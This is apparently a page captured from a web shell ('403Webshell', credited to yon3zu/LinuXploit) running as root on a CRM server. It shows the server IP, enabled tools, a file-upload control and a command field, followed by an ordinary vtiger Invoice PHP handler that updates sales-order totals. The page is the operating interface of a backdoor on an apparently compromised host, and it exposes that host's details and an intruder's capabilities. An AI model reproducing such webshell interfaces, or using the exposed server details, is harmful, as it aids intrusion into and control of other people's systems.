403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crest/modules/Invoice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crest/modules/Invoice/FieldHandler.php
<?php
/*+**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************/

function handleSaleInvoiceRel($entityData){
	$adb = PearDatabase::getInstance();
	$moduleName = $entityData->getModuleName();
	$wsId = $entityData->getId();
	$parts = explode('x', $wsId);
	$record_id = $parts[1];

	if ($record_id) {
		$invoiceRecordModel = Vtiger_Record_Model::getInstanceById($record_id);
		$salesorder_id = $invoiceRecordModel->get('salesorder_id');

		// For Invoice which is already attached --- Ravi Added
		if($salesorder_id){
			$sql = "SELECT *,SUM(vi.total) as grandTotal FROM vtiger_invoice as vi INNER JOIN vtiger_crmentity as vc ON vc.crmid = vi.invoiceid WHERE vi.salesorderid = ? AND vc.deleted = ? GROUP BY salesorderid";
			$getInvoiceData = $adb->pquery($sql, array($salesorder_id, 0));
			$numberOfRows = $adb->num_rows($getInvoiceData);

			if($numberOfRows){
				$grand_total_in = $adb->query_result($getInvoiceData, 0, 'grandtotal');
				$grand_total_fin = number_format($grand_total_in,2);
				$total_invoiced_final_amount = str_replace(',', '', $grand_total_fin);

		        // ----------------------------------------- End

				$RecordModule = Vtiger_Record_Model::getInstanceById($salesorder_id);
				$total_paid_amount = $RecordModule->get('total_paid_amount');
				$grand_total_so = $RecordModule->get('hdnGrandTotal');

				$total_uninvoiced_amount = $grand_total_so - $grand_total_in;
				$total_unpaid_amount = $total_invoiced_final_amount - $total_paid_amount;

				$check_mail = $adb->pquery("UPDATE vtiger_salesorder SET total_invoiced_amount=?,total_uninvoiced_amount=?,total_unpaid_amount = ?,total_paid_amount=? WHERE salesorderid=?",array($total_invoiced_final_amount,$total_uninvoiced_amount,$total_unpaid_amount,$total_paid_amount,$salesorder_id));
			}
		}

	}

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit